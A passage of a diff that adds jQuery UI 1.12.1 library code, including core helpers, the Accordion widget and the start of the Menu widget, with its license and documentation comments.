values +function visible( element ) { + var visibility = element.css( "visibility" ); + while ( visibility === "inherit" ) { + element = element.parent(); + visibility = element.css( "visibility" ); + } + return visibility !== "hidden"; +} + +$.extend( $.expr[ ":" ], { + focusable: function( element ) { + return $.ui.focusable( element, $.attr( element, "tabindex" ) != null ); + } +} ); + +var focusable = $.ui.focusable; + + + + +// Support: IE8 Only +// IE8 does not support the form attribute and when it is supplied. It overwrites the form prop +// with a string, so we need to find the proper form. +var form = $.fn.form = function() { + return typeof this[ 0 ].form === "string" ? this.closest( "form" ) : $( this[ 0 ].form ); +}; + + +/*! + * jQuery UI Form Reset Mixin 1.12.1 + * http://jqueryui.com + * + * Copyright jQuery Foundation and other contributors + * Released under the MIT license. + * http://jquery.org/license + */ + +//>>label: Form Reset Mixin +//>>group: Core +//>>description: Refresh input widgets when their form is reset +//>>docs: http://api.jqueryui.com/form-reset-mixin/ + + + +var formResetMixin = $.ui.formResetMixin = { + _formResetHandler: function() { + var form = $( this ); + + // Wait for the form reset to actually happen before refreshing + setTimeout( function() { + var instances = form.data( "ui-form-reset-instances" ); + $.each( instances, function() { + this.refresh(); + } ); + } ); + }, + + _bindFormResetHandler: function() { + this.form = this.element.form(); + if ( !this.form.length ) { + return; + } + + var instances = this.form.data( "ui-form-reset-instances" ) || []; + if ( !instances.length ) { + + // We don't use _on() here because we use a single event handler per form + this.form.on( "reset.ui-form-reset", this._formResetHandler ); + } + instances.push( this ); + this.form.data( "ui-form-reset-instances", instances ); + }, + + _unbindFormResetHandler: function() { + if ( !this.form.length ) { + return; + } + + var instances = this.form.data( "ui-form-reset-instances" ); + instances.splice( $.inArray( this, instances ), 1 ); + if ( instances.length ) { + this.form.data( "ui-form-reset-instances", instances ); + } else { + this.form + .removeData( "ui-form-reset-instances" ) + .off( "reset.ui-form-reset" ); + } + } +}; + + +/*! + * jQuery UI Support for jQuery core 1.7.x 1.12.1 + * http://jqueryui.com + * + * Copyright jQuery Foundation and other contributors + * Released under the MIT license. + * http://jquery.org/license + * + */ + +//>>label: jQuery 1.7 Support +//>>group: Core +//>>description: Support version 1.7.x of jQuery core + + + +// Support: jQuery 1.7 only +// Not a great way to check versions, but since we only support 1.7+ and only +// need to detect <1.8, this is a simple check that should suffice. Checking +// for "1.7." would be a bit safer, but the version string is 1.7, not 1.7.0 +// and we'll never reach 1.70.0 (if we do, we certainly won't be supporting +// 1.7 anymore). See #11197 for why we're not using feature detection. +if ( $.fn.jquery.substring( 0, 3 ) === "1.7" ) { + + // Setters for .innerWidth(), .innerHeight(), .outerWidth(), .outerHeight() + // Unlike jQuery Core 1.8+, these only support numeric values to set the + // dimensions in pixels + $.each( [ "Width", "Height" ], function( i, name ) { + var side = name === "Width" ? [ "Left", "Right" ] : [ "Top", "Bottom" ], + type = name.toLowerCase(), + orig = { + innerWidth: $.fn.innerWidth, + innerHeight: $.fn.innerHeight, + outerWidth: $.fn.outerWidth, + outerHeight: $.fn.outerHeight + }; + + function reduce( elem, size, border, margin ) { + $.each( side, function() { + size -= parseFloat( $.css( elem, "padding" + this ) ) || 0; + if ( border ) { + size -= parseFloat( $.css( elem, "border" + this + "Width" ) ) || 0; + } + if ( margin ) { + size -= parseFloat( $.css( elem, "margin" + this ) ) || 0; + } + } ); + return size; + } + + $.fn[ "inner" + name ] = function( size ) { + if ( size === undefined ) { + return orig[ "inner" + name ].call( this ); + } + + return this.each( function() { + $( this ).css( type, reduce( this, size ) + "px" ); + } ); + }; + + $.fn[ "outer" + name ] = function( size, margin ) { + if ( typeof size !== "number" ) { + return orig[ "outer" + name ].call( this, size ); + } + + return this.each( function() { + $( this ).css( type, reduce( this, size, true, margin ) + "px" ); + } ); + }; + } ); + + $.fn.addBack = function( selector ) { + return this.add( selector == null ? + this.prevObject : this.prevObject.filter( selector ) + ); + }; +} + +; +/*! + * jQuery UI Keycode 1.12.1 + * http://jqueryui.com + * + * Copyright jQuery Foundation and other contributors + * Released under the MIT license. + * http://jquery.org/license + */ + +//>>label: Keycode +//>>group: Core +//>>description: Provide keycodes as keynames +//>>docs: http://api.jqueryui.com/jQuery.ui.keyCode/ + + +var keycode = $.ui.keyCode = { + BACKSPACE: 8, + COMMA: 188, + DELETE: 46, + DOWN: 40, + END: 35, + ENTER: 13, + ESCAPE: 27, + HOME: 36, + LEFT: 37, + PAGE_DOWN: 34, + PAGE_UP: 33, + PERIOD: 190, + RIGHT: 39, + SPACE: 32, + TAB: 9, + UP: 38 +}; + + + + +// Internal use only +var escapeSelector = $.ui.escapeSelector = ( function() { + var selectorEscape = /([!"#$%&'()*+,./:;<=>?@[\]^`{|}~])/g; + return function( selector ) { + return selector.replace( selectorEscape, "\\$1" ); + }; +} )(); + + +/*! + * jQuery UI Labels 1.12.1 + * http://jqueryui.com + * + * Copyright jQuery Foundation and other contributors + * Released under the MIT license. + * http://jquery.org/license + */ + +//>>label: labels +//>>group: Core +//>>description: Find all the labels associated with a given input +//>>docs: http://api.jqueryui.com/labels/ + + + +var labels = $.fn.labels = function() { + var ancestor, selector, id, labels, ancestors; + + // Check control.labels first + if ( this[ 0 ].labels && this[ 0 ].labels.length ) { + return this.pushStack( this[ 0 ].labels ); + } + + // Support: IE <= 11, FF <= 37, Android <= 2.3 only + // Above browsers do not support control.labels. Everything below is to support them + // as well as document fragments. control.labels does not work on document fragments + labels = this.eq( 0 ).parents( "label" ); + + // Look for the label based on the id + id = this.attr( "id" ); + if ( id ) { + + // We don't search against the document in case the element + // is disconnected from the DOM + ancestor = this.eq( 0 ).parents().last(); + + // Get a full set of top level ancestors + ancestors = ancestor.add( ancestor.length ? ancestor.siblings() : this.siblings() ); + + // Create a selector for the label based on the id + selector = "label[for='" + $.ui.escapeSelector( id ) + "']"; + + labels = labels.add( ancestors.find( selector ).addBack( selector ) ); + + } + + // Return whatever we have found for labels + return this.pushStack( labels ); +}; + + +/*! + * jQuery UI Scroll Parent 1.12.1 + * http://jqueryui.com + * + * Copyright jQuery Foundation and other contributors + * Released under the MIT license. + * http://jquery.org/license + */ + +//>>label: scrollParent +//>>group: Core +//>>description: Get the closest ancestor element that is scrollable. +//>>docs: http://api.jqueryui.com/scrollParent/ + + + +var scrollParent = $.fn.scrollParent = function( includeHidden ) { + var position = this.css( "position" ), + excludeStaticParent = position === "absolute", + overflowRegex = includeHidden ? /(auto|scroll|hidden)/ : /(auto|scroll)/, + scrollParent = this.parents().filter( function() { + var parent = $( this ); + if ( excludeStaticParent && parent.css( "position" ) === "static" ) { + return false; + } + return overflowRegex.test( parent.css( "overflow" ) + parent.css( "overflow-y" ) + + parent.css( "overflow-x" ) ); + } ).eq( 0 ); + + return position === "fixed" || !scrollParent.length ? + $( this[ 0 ].ownerDocument || document ) : + scrollParent; +}; + + +/*! + * jQuery UI Tabbable 1.12.1 + * http://jqueryui.com + * + * Copyright jQuery Foundation and other contributors + * Released under the MIT license. + * http://jquery.org/license + */ + +//>>label: :tabbable Selector +//>>group: Core +//>>description: Selects elements which can be tabbed to. +//>>docs: http://api.jqueryui.com/tabbable-selector/ + + + +var tabbable = $.extend( $.expr[ ":" ], { + tabbable: function( element ) { + var tabIndex = $.attr( element, "tabindex" ), + hasTabindex = tabIndex != null; + return ( !hasTabindex || tabIndex >= 0 ) && $.ui.focusable( element, hasTabindex ); + } +} ); + + +/*! + * jQuery UI Unique ID 1.12.1 + * http://jqueryui.com + * + * Copyright jQuery Foundation and other contributors + * Released under the MIT license. + * http://jquery.org/license + */ + +//>>label: uniqueId +//>>group: Core +//>>description: Functions to generate and remove uniqueId's +//>>docs: http://api.jqueryui.com/uniqueId/ + + + +var uniqueId = $.fn.extend( { + uniqueId: ( function() { + var uuid = 0; + + return function() { + return this.each( function() { + if ( !this.id ) { + this.id = "ui-id-" + ( ++uuid ); + } + } ); + }; + } )(), + + removeUniqueId: function() { + return this.each( function() { + if ( /^ui-id-\d+$/.test( this.id ) ) { + $( this ).removeAttr( "id" ); + } + } ); + } +} ); + + +/*! + * jQuery UI Accordion 1.12.1 + * http://jqueryui.com + * + * Copyright jQuery Foundation and other contributors + * Released under the MIT license. + * http://jquery.org/license + */ + +//>>label: Accordion +//>>group: Widgets +// jscs:disable maximumLineLength +//>>description: Displays collapsible content panels for presenting information in a limited amount of space. +// jscs:enable maximumLineLength +//>>docs: http://api.jqueryui.com/accordion/ +//>>demos: http://jqueryui.com/accordion/ +//>>css.structure: ../../themes/base/core.css +//>>css.structure: ../../themes/base/accordion.css +//>>css.theme: ../../themes/base/theme.css + + + +var widgetsAccordion = $.widget( "ui.accordion", { + version: "1.12.1", + options: { + active: 0, + animate: {}, + classes: { + "ui-accordion-header": "ui-corner-top", + "ui-accordion-header-collapsed": "ui-corner-all", + "ui-accordion-content": "ui-corner-bottom" + }, + collapsible: false, + event: "click", + header: "> li > :first-child, > :not(li):even", + heightStyle: "auto", + icons: { + activeHeader: "ui-icon-triangle-1-s", + header: "ui-icon-triangle-1-e" + }, + + // Callbacks + activate: null, + beforeActivate: null + }, + + hideProps: { + borderTopWidth: "hide", + borderBottomWidth: "hide", + paddingTop: "hide", + paddingBottom: "hide", + height: "hide" + }, + + showProps: { + borderTopWidth: "show", + borderBottomWidth: "show", + paddingTop: "show", + paddingBottom: "show", + height: "show" + }, + + _create: function() { + var options = this.options; + + this.prevShow = this.prevHide = $(); + this._addClass( "ui-accordion", "ui-widget ui-helper-reset" ); + this.element.attr( "role", "tablist" ); + + // Don't allow collapsible: false and active: false / null + if ( !options.collapsible && ( options.active === false || options.active == null ) ) { + options.active = 0; + } + + this._processPanels(); + + // handle negative values + if ( options.active < 0 ) { + options.active += this.headers.length; + } + this._refresh(); + }, + + _getCreateEventData: function() { + return { + header: this.active, + panel: !this.active.length ? $() : this.active.next() + }; + }, + + _createIcons: function() { + var icon, children, + icons = this.options.icons; + + if ( icons ) { + icon = $( "<span>" ); + this._addClass( icon, "ui-accordion-header-icon", "ui-icon " + icons.header ); + icon.prependTo( this.headers ); + children = this.active.children( ".ui-accordion-header-icon" ); + this._removeClass( children, icons.header ) + ._addClass( children, null, icons.activeHeader ) + ._addClass( this.headers, "ui-accordion-icons" ); + } + }, + + _destroyIcons: function() { + this._removeClass( this.headers, "ui-accordion-icons" ); + this.headers.children( ".ui-accordion-header-icon" ).remove(); + }, + + _destroy: function() { + var contents; + + // Clean up main element + this.element.removeAttr( "role" ); + + // Clean up headers + this.headers + .removeAttr( "role aria-expanded aria-selected aria-controls tabIndex" ) + .removeUniqueId(); + + this._destroyIcons(); + + // Clean up content panels + contents = this.headers.next() + .css( "display", "" ) + .removeAttr( "role aria-hidden aria-labelledby" ) + .removeUniqueId(); + + if ( this.options.heightStyle !== "content" ) { + contents.css( "height", "" ); + } + }, + + _setOption: function( key, value ) { + if ( key === "active" ) { + + // _activate() will handle invalid values and update this.options + this._activate( value ); + return; + } + + if ( key === "event" ) { + if ( this.options.event ) { + this._off( this.headers, this.options.event ); + } + this._setupEvents( value ); + } + + this._super( key, value ); + + // Setting collapsible: false while collapsed; open first panel + if ( key === "collapsible" && !value && this.options.active === false ) { + this._activate( 0 ); + } + + if ( key === "icons" ) { + this._destroyIcons(); + if ( value ) { + this._createIcons(); + } + } + }, + + _setOptionDisabled: function( value ) { + this._super( value ); + + this.element.attr( "aria-disabled", value ); + + // Support: IE8 Only + // #5332 / #6059 - opacity doesn't cascade to positioned elements in IE + // so we need to add the disabled class to the headers and panels + this._toggleClass( null, "ui-state-disabled", !!value ); + this._toggleClass( this.headers.add( this.headers.next() ), null, "ui-state-disabled", + !!value ); + }, + + _keydown: function( event ) { + if ( event.altKey || event.ctrlKey ) { + return; + } + + var keyCode = $.ui.keyCode, + length = this.headers.length, + currentIndex = this.headers.index( event.target ), + toFocus = false; + + switch ( event.keyCode ) { + case keyCode.RIGHT: + case keyCode.DOWN: + toFocus = this.headers[ ( currentIndex + 1 ) % length ]; + break; + case keyCode.LEFT: + case keyCode.UP: + toFocus = this.headers[ ( currentIndex - 1 + length ) % length ]; + break; + case keyCode.SPACE: + case keyCode.ENTER: + this._eventHandler( event ); + break; + case keyCode.HOME: + toFocus = this.headers[ 0 ]; + break; + case keyCode.END: + toFocus = this.headers[ length - 1 ]; + break; + } + + if ( toFocus ) { + $( event.target ).attr( "tabIndex", -1 ); + $( toFocus ).attr( "tabIndex", 0 ); + $( toFocus ).trigger( "focus" ); + event.preventDefault(); + } + }, + + _panelKeyDown: function( event ) { + if ( event.keyCode === $.ui.keyCode.UP && event.ctrlKey ) { + $( event.currentTarget ).prev().trigger( "focus" ); + } + }, + + refresh: function() { + var options = this.options; + this._processPanels(); + + // Was collapsed or no panel + if ( ( options.active === false && options.collapsible === true ) || + !this.headers.length ) { + options.active = false; + this.active = $(); + + // active false only when collapsible is true + } else if ( options.active === false ) { + this._activate( 0 ); + + // was active, but active panel is gone + } else if ( this.active.length && !$.contains( this.element[ 0 ], this.active[ 0 ] ) ) { + + // all remaining panel are disabled + if ( this.headers.length === this.headers.find( ".ui-state-disabled" ).length ) { + options.active = false; + this.active = $(); + + // activate previous panel + } else { + this._activate( Math.max( 0, options.active - 1 ) ); + } + + // was active, active panel still exists + } else { + + // make sure active index is correct + options.active = this.headers.index( this.active ); + } + + this._destroyIcons(); + + this._refresh(); + }, + + _processPanels: function() { + var prevHeaders = this.headers, + prevPanels = this.panels; + + this.headers = this.element.find( this.options.header ); + this._addClass( this.headers, "ui-accordion-header ui-accordion-header-collapsed", + "ui-state-default" ); + + this.panels = this.headers.next().filter( ":not(.ui-accordion-content-active)" ).hide(); + this._addClass( this.panels, "ui-accordion-content", "ui-helper-reset ui-widget-content" ); + + // Avoid memory leaks (#10056) + if ( prevPanels ) { + this._off( prevHeaders.not( this.headers ) ); + this._off( prevPanels.not( this.panels ) ); + } + }, + + _refresh: function() { + var maxHeight, + options = this.options, + heightStyle = options.heightStyle, + parent = this.element.parent(); + + this.active = this._findActive( options.active ); + this._addClass( this.active, "ui-accordion-header-active", "ui-state-active" ) + ._removeClass( this.active, "ui-accordion-header-collapsed" ); + this._addClass( this.active.next(), "ui-accordion-content-active" ); + this.active.next().show(); + + this.headers + .attr( "role", "tab" ) + .each( function() { + var header = $( this ), + headerId = header.uniqueId().attr( "id" ), + panel = header.next(), + panelId = panel.uniqueId().attr( "id" ); + header.attr( "aria-controls", panelId ); + panel.attr( "aria-labelledby", headerId ); + } ) + .next() + .attr( "role", "tabpanel" ); + + this.headers + .not( this.active ) + .attr( { + "aria-selected": "false", + "aria-expanded": "false", + tabIndex: -1 + } ) + .next() + .attr( { + "aria-hidden": "true" + } ) + .hide(); + + // Make sure at least one header is in the tab order + if ( !this.active.length ) { + this.headers.eq( 0 ).attr( "tabIndex", 0 ); + } else { + this.active.attr( { + "aria-selected": "true", + "aria-expanded": "true", + tabIndex: 0 + } ) + .next() + .attr( { + "aria-hidden": "false" + } ); + } + + this._createIcons(); + + this._setupEvents( options.event ); + + if ( heightStyle === "fill" ) { + maxHeight = parent.height(); + this.element.siblings( ":visible" ).each( function() { + var elem = $( this ), + position = elem.css( "position" ); + + if ( position === "absolute" || position === "fixed" ) { + return; + } + maxHeight -= elem.outerHeight( true ); + } ); + + this.headers.each( function() { + maxHeight -= $( this ).outerHeight( true ); + } ); + + this.headers.next() + .each( function() { + $( this ).height( Math.max( 0, maxHeight - + $( this ).innerHeight() + $( this ).height() ) ); + } ) + .css( "overflow", "auto" ); + } else if ( heightStyle === "auto" ) { + maxHeight = 0; + this.headers.next() + .each( function() { + var isVisible = $( this ).is( ":visible" ); + if ( !isVisible ) { + $( this ).show(); + } + maxHeight = Math.max( maxHeight, $( this ).css( "height", "" ).height() ); + if ( !isVisible ) { + $( this ).hide(); + } + } ) + .height( maxHeight ); + } + }, + + _activate: function( index ) { + var active = this._findActive( index )[ 0 ]; + + // Trying to activate the already active panel + if ( active === this.active[ 0 ] ) { + return; + } + + // Trying to collapse, simulate a click on the currently active header + active = active || this.active[ 0 ]; + + this._eventHandler( { + target: active, + currentTarget: active, + preventDefault: $.noop + } ); + }, + + _findActive: function( selector ) { + return typeof selector === "number" ? this.headers.eq( selector ) : $(); + }, + + _setupEvents: function( event ) { + var events = { + keydown: "_keydown" + }; + if ( event ) { + $.each( event.split( " " ), function( index, eventName ) { + events[ eventName ] = "_eventHandler"; + } ); + } + + this._off( this.headers.add( this.headers.next() ) ); + this._on( this.headers, events ); + this._on( this.headers.next(), { keydown: "_panelKeyDown" } ); + this._hoverable( this.headers ); + this._focusable( this.headers ); + }, + + _eventHandler: function( event ) { + var activeChildren, clickedChildren, + options = this.options, + active = this.active, + clicked = $( event.currentTarget ), + clickedIsActive = clicked[ 0 ] === active[ 0 ], + collapsing = clickedIsActive && options.collapsible, + toShow = collapsing ? $() : clicked.next(), + toHide = active.next(), + eventData = { + oldHeader: active, + oldPanel: toHide, + newHeader: collapsing ? $() : clicked, + newPanel: toShow + }; + + event.preventDefault(); + + if ( + + // click on active header, but not collapsible + ( clickedIsActive && !options.collapsible ) || + + // allow canceling activation + ( this._trigger( "beforeActivate", event, eventData ) === false ) ) { + return; + } + + options.active = collapsing ? false : this.headers.index( clicked ); + + // When the call to ._toggle() comes after the class changes + // it causes a very odd bug in IE 8 (see #6720) + this.active = clickedIsActive ? $() : clicked; + this._toggle( eventData ); + + // Switch classes + // corner classes on the previously active header stay after the animation + this._removeClass( active, "ui-accordion-header-active", "ui-state-active" ); + if ( options.icons ) { + activeChildren = active.children( ".ui-accordion-header-icon" ); + this._removeClass( activeChildren, null, options.icons.activeHeader ) + ._addClass( activeChildren, null, options.icons.header ); + } + + if ( !clickedIsActive ) { + this._removeClass( clicked, "ui-accordion-header-collapsed" ) + ._addClass( clicked, "ui-accordion-header-active", "ui-state-active" ); + if ( options.icons ) { + clickedChildren = clicked.children( ".ui-accordion-header-icon" ); + this._removeClass( clickedChildren, null, options.icons.header ) + ._addClass( clickedChildren, null, options.icons.activeHeader ); + } + + this._addClass( clicked.next(), "ui-accordion-content-active" ); + } + }, + + _toggle: function( data ) { + var toShow = data.newPanel, + toHide = this.prevShow.length ? this.prevShow : data.oldPanel; + + // Handle activating a panel during the animation for another activation + this.prevShow.add( this.prevHide ).stop( true, true ); + this.prevShow = toShow; + this.prevHide = toHide; + + if ( this.options.animate ) { + this._animate( toShow, toHide, data ); + } else { + toHide.hide(); + toShow.show(); + this._toggleComplete( data ); + } + + toHide.attr( { + "aria-hidden": "true" + } ); + toHide.prev().attr( { + "aria-selected": "false", + "aria-expanded": "false" + } ); + + // if we're switching panels, remove the old header from the tab order + // if we're opening from collapsed state, remove the previous header from the tab order + // if we're collapsing, then keep the collapsing header in the tab order + if ( toShow.length && toHide.length ) { + toHide.prev().attr( { + "tabIndex": -1, + "aria-expanded": "false" + } ); + } else if ( toShow.length ) { + this.headers.filter( function() { + return parseInt( $( this ).attr( "tabIndex" ), 10 ) === 0; + } ) + .attr( "tabIndex", -1 ); + } + + toShow + .attr( "aria-hidden", "false" ) + .prev() + .attr( { + "aria-selected": "true", + "aria-expanded": "true", + tabIndex: 0 + } ); + }, + + _animate: function( toShow, toHide, data ) { + var total, easing, duration, + that = this, + adjust = 0, + boxSizing = toShow.css( "box-sizing" ), + down = toShow.length && + ( !toHide.length || ( toShow.index() < toHide.index() ) ), + animate = this.options.animate || {}, + options = down && animate.down || animate, + complete = function() { + that._toggleComplete( data ); + }; + + if ( typeof options === "number" ) { + duration = options; + } + if ( typeof options === "string" ) { + easing = options; + } + + // fall back from options to animation in case of partial down settings + easing = easing || options.easing || animate.easing; + duration = duration || options.duration || animate.duration; + + if ( !toHide.length ) { + return toShow.animate( this.showProps, duration, easing, complete ); + } + if ( !toShow.length ) { + return toHide.animate( this.hideProps, duration, easing, complete ); + } + + total = toShow.show().outerHeight(); + toHide.animate( this.hideProps, { + duration: duration, + easing: easing, + step: function( now, fx ) { + fx.now = Math.round( now ); + } + } ); + toShow + .hide() + .animate( this.showProps, { + duration: duration, + easing: easing, + complete: complete, + step: function( now, fx ) { + fx.now = Math.round( now ); + if ( fx.prop !== "height" ) { + if ( boxSizing === "content-box" ) { + adjust += fx.now; + } + } else if ( that.options.heightStyle !== "content" ) { + fx.now = Math.round( total - toHide.outerHeight() - adjust ); + adjust = 0; + } + } + } ); + }, + + _toggleComplete: function( data ) { + var toHide = data.oldPanel, + prev = toHide.prev(); + + this._removeClass( toHide, "ui-accordion-content-active" ); + this._removeClass( prev, "ui-accordion-header-active" ) + ._addClass( prev, "ui-accordion-header-collapsed" ); + + // Work around for rendering bug in IE (#5421) + if ( toHide.length ) { + toHide.parent()[ 0 ].className = toHide.parent()[ 0 ].className; + } + this._trigger( "activate", null, data ); + } +} ); + + + +var safeActiveElement = $.ui.safeActiveElement = function( document ) { + var activeElement; + + // Support: IE 9 only + // IE9 throws an "Unspecified error" accessing document.activeElement from an <iframe> + try { + activeElement = document.activeElement; + } catch ( error ) { + activeElement = document.body; + } + + // Support: IE 9 - 11 only + // IE may return null instead of an element + // Interestingly, this only seems to occur when NOT in an iframe + if ( !activeElement ) { + activeElement = document.body; + } + + // Support: IE 11 only + // IE11 returns a seemingly empty object in some cases when accessing + // document.activeElement from an <iframe> + if ( !activeElement.nodeName ) { + activeElement = document.body; + } + + return activeElement; +}; + + +/*! + * jQuery UI Menu 1.12.1 + * http://jqueryui.com + * + * Copyright jQuery Foundation and other contributors + * Released under the MIT license. + * http://jquery.org/license + */ + +//>>label: Menu +//>>group: Widgets +//>>description: Creates nestable menus. +//>>docs: http://api.jqueryui.com/menu/ +//>>demos: http://jqueryui.com/menu/ +//>>css.structure: ../../themes/base/core.css +//>>css.structure: ../../themes/base/menu.css +//>>css.theme: ../../themes/base/theme.css + + + +var widgetsMenu = $.widget( "ui.menu", { + version: "1.12.1", + defaultElement: "<ul>", + delay: 300, + options: { + icons: { + submenu: "ui-icon-caret-1-e" + }, + items: "> *", + menus: "ul", + position: { + my: "left top", + at: "right top" + }, + role: "menu", + + // Callbacks + blur: null, + focus: null, + select: null + }, + + _create: function() { + this.activeMenu = this.element; + + // Flag used to prevent firing of the click handler + // as the event bubbles up through nested menus + this.mouseHandled = false; + this.element + .uniqueId() + .attr( { + role: this.options.role, + tabIndex: 0 + } ); + + this._addClass( "ui-menu", "ui-widget ui-widget-content" ); + this._on( { + + // Prevent focus from sticking to links inside menu after clicking + // them (focus should always stay on UL during navigation). + "mousedown .ui-menu-item": function( event ) { + event.preventDefault(); + }, + "click .ui-menu-item": function( event ) { + var target = $( event.target ); + var active = $( $.ui.safeActiveElement( this.document[ 0 ] ) ); + if ( !this.mouseHandled && target.not( ".ui-state-disabled" ).length ) { + this.select( event ); + + // Only set the mouseHandled flag if the event will bubble, see #9469. + if ( !event.isPropagationStopped() ) { + this.mouseHandled = true; + } + + // Open submenu on click + if ( target.has( ".ui-menu" ).length ) { + this.expand( event ); + } else if ( !this.element.is( ":focus" ) && + active.closest( ".ui-menu" ).length ) { + + // Redirect focus to the menu + this.element.trigger( "focus", [ true ] ); + + // If the active item is on the top level, let it stay active. + // Otherwise, blur the active item since it is no longer visible. + if ( this.active && this.active.parents( ".ui-menu" ).length === 1 ) { + clearTimeout( this.timer ); + } + } + } + }, + "mouseenter .ui-menu-item": function( event ) { + + // Ignore mouse events while typeahead is active, see #10458. + // Prevents focusing the wrong item when typeahead causes a scroll while the mouse + // is over an item in the menu + if ( this.previousFilter ) { + return; + } + + var actualTarget = $( event.target ).closest( ".ui-menu-item" ), + target = $( event.currentTarget ); + + // Ignore bubbled events on parent items, see #11641 + if ( actualTarget[ 0 ] !== target[ 0 ] ) { + return; + } + + // Remove ui-state-active class from siblings of the newly focused menu item + // to avoid a jump caused by adjacent elements both having a class with a border + this._removeClass( target.siblings().children( ".ui-state-active" ), + null, "ui-state-active" ); + this.focus( event, target ); + }, + mouseleave: "collapseAll", + "mouseleave .ui-menu": "collapseAll", + focus: function( event, keepActiveItem ) { + + // If there's already an active item, keep it active + // If not, activate the first item + var item = this.active || this.element.find( this.options.items ).eq( 0 ); + + if ( !keepActiveItem ) { + this.focus( event, item ); + } + }, + blur: function( event ) { + this._delay( function() { + var notContained = !$.contains( + this.element[ 0 ], + $.ui.safeActiveElement( this.document[ 0 ] ) + ); + if ( notContained ) { + this.collapseAll( event ); + } + } ); + }, + keydown: "_keydown" + } ); + + this.refresh(); + + // Clicks outside of a menu collapse any open menus + this._on( this.document, { + click: function( event ) { + if ( this._closeOnDocumentClick( event ) ) { + this.collapseAll( event ); + } + + // Reset the mouseHandled flag + this.mouseHandled = false; + } + } ); + }, + + _destroy: function() { + var items = this.element.find( ".ui-menu-item" ) + .removeAttr( "role aria-disabled" ), + submenus = items.children( ".ui-menu-item-wrapper" ) + .removeUniqueId() + .removeAttr( "tabIndex role aria-haspopup" ); + + // Destroy (sub)menus + this.element + .removeAttr( "aria-activedescendant" ) + .find( ".ui-menu" ).addBack() + .removeAttr( "role aria-labelledby aria-expanded aria-hidden aria-disabled " + + "tabIndex" ) + .removeUniqueId() + .show(); + + submenus.children().each( function() { + var elem = $( this ); + if ( elem.data( "ui-menu-submenu-caret" ) ) { + elem.remove(); + } + } ); + }, + + _keydown: function( event ) { + var match, prev, character, skip, + preventDefault = true; + + switch ( event.keyCode ) { + case $.ui.keyCode.PAGE_UP: + this.previousPage( event ); + break; + case $.ui.keyCode.PAGE_DOWN: + this.nextPage( event ); + break; + case $.ui.keyCode.HOME: + this._move( "first", "first", event ); + break; + case $.ui.keyCode.END: + this._move( "last", "last", event ); + break; + case $.ui.keyCode.UP: + this.previous( event ); + break; + case $.ui.keyCode.DOWN: + this.next( event ); + break; + case $.ui.keyCode.LEFT: + this.collapse( event ); + break; + case $.ui.keyCode.RIGHT: + if ( this.active && !this.active.is( ".ui-state-disabled" ) ) { + this.expand( event ); + } + break; + case $.ui.keyCode.ENTER: + case $.ui.keyCode.SPACE: + this._activate( event ); + break; + case $.ui.keyCode.ESCAPE: + this.collapse( event ); + break; + default: + preventDefault = false; + prev = this.previousFilter || ""; + skip = false; + + // Support number pad values + character = event.keyCode >= 96 && event.keyCode <= 105 ? + ( event.keyCode - 96 ).toString() : String.fromCharCode( event.keyCode ); + + clearTimeout( this.filterTimer ); + + if ( character === prev ) { + skip = true; + } else { + character = prev + character; + } + + match = this._filterMenuItems( character ); + match = skip && match.index( this.active.next() ) !== -1 ? + this.active.nextAll( ".ui-menu-item" ) : + match; + + // If no matches on the current filter, reset to the last character pressed + // to move down the menu to the first item that starts with that character + if ( !match.length ) { + character = String.fromCharCode( event.keyCode ); + match = this._filterMenuItems( character ); + } + + if ( match.length ) { + this.focus( event, match ); + this.previousFilter = character; + this.filterTimer = this._delay( function() { + delete this.previousFilter; + }, 1000 ); + } else { + delete this.previousFilter; + } + } + + if ( preventDefault ) { + event.preventDefault(); + } + }, + + _activate: function( event ) { + if ( this.active && !this.active.is( ".ui-state-disabled" ) ) { + if ( this.active.children( "[aria-haspopup='true']" ).length ) { + this.expand( event ); + } else { + this.select( event ); + } + } + }, + + refresh: function() { + var menus, items, newSubmenus, newItems, newWrappers, + that = this, + icon = this.options.icons.submenu, + submenus = this.element.find( this.options.menus ); + + this._toggleClass( "ui-menu-icons", null, !!this.element.find( ".ui-icon" ).length ); + + // Initialize nested menus + newSubmenus = submenus.filter( ":not(.ui-menu)" ) + .hide() + .attr( { + role: this.options.role, + "aria-hidden": "true", + "aria-expanded": "false" + } ) + .each( function() { + var menu = $( this ), + item = menu.prev(), + submenuCaret = $( "<span>" ).data( "ui-menu-submenu-caret", true ); + + that._addClass( submenuCaret, "ui-menu-icon", "ui-icon " + icon ); + item + .attr( "aria-haspopup", "true" ) + .prepend( submenuCaret ); + menu.attr( "aria-labelledby", item.attr( "id" ) ); + } ); + + this._addClass( newSubmenus, "ui-menu", "ui-widget ui-widget-content ui-front" ); + + menus = submenus.add( this.element ); + items = menus.find( this.options.items ); + + // Initialize menu-items containing spaces and/or dashes only as dividers + items.not( ".ui-menu-item" ).each( function() { + var item = $( this ); + if ( that._isDivider( item ) ) { + that._addClass( item, "ui-menu-divider", "ui-widget-content" ); + } + } ); + + // Don't refresh list items that are already adapted + newItems = items.not( ".ui-menu-item, .ui-menu-divider" ); + newWrappers = newItems.children() + .not( ".ui-menu" ) + .uniqueId() + .attr( { + tabIndex: -1, + role: this._itemRole() + } ); + this._addClass( newItems, "ui-menu-item" ) + ._addClass( newWrappers, "ui-menu-item-wrapper" ); + + // Add aria-disabled attribute to any disabled menu item + items.filter( ".ui-state-disabled" ).attr( "aria-disabled", "true" ); + + // If the active item has been removed, blur the menu + if ( this.active && !$.contains( this.element[ 0 ], this.active[ 0 ] ) ) { + this.blur(); + } + }, + + _itemRole: function() { + return { + menu: "menuitem", + listbox: "option" + }[ this.options.role ]; + }, + + _setOption: function( key, value ) { + if ( key === "icons" ) { + var icons = this.element.find( ".ui-menu-icon" ); + this._removeClass( icons, null, this.options.icons.submenu ) + ._addClass( icons, null, value.submenu ); + } + this._super( key, value ); + }, + + _setOptionDisabled: function( value ) { + this._super( value ); + + this.element.attr( "aria-disabled", String( value ) ); + this._toggleClass( null, "ui-state-disabled", !!value ); + }, + + focus: function( event, item ) { + var nested, focused, activeParent; + this.blur( event, event && event.type === "focus" ); + + this._scrollIntoView( item ); + + this.active = item.first(); + + focused = this.active.children( ".ui-menu-item-wrapper" ); + this._addClass( focused, null, "ui-state-active" ); + + // Only update aria-activedescendant if there's a role + // otherwise we assume focus is managed elsewhere + if ( this.options.role ) { + this.element.attr( "aria-activedescendant", focused.attr( "id" ) ); + } + + // Highlight active parent menu item, if any + activeParent = this.active + .parent() + .closest( ".ui-menu-item" ) + .children( ".ui-menu-item-wrapper" ); + this._addClass( activeParent, null, "ui-state-active" ); + + if ( event && event.type === "keydown" 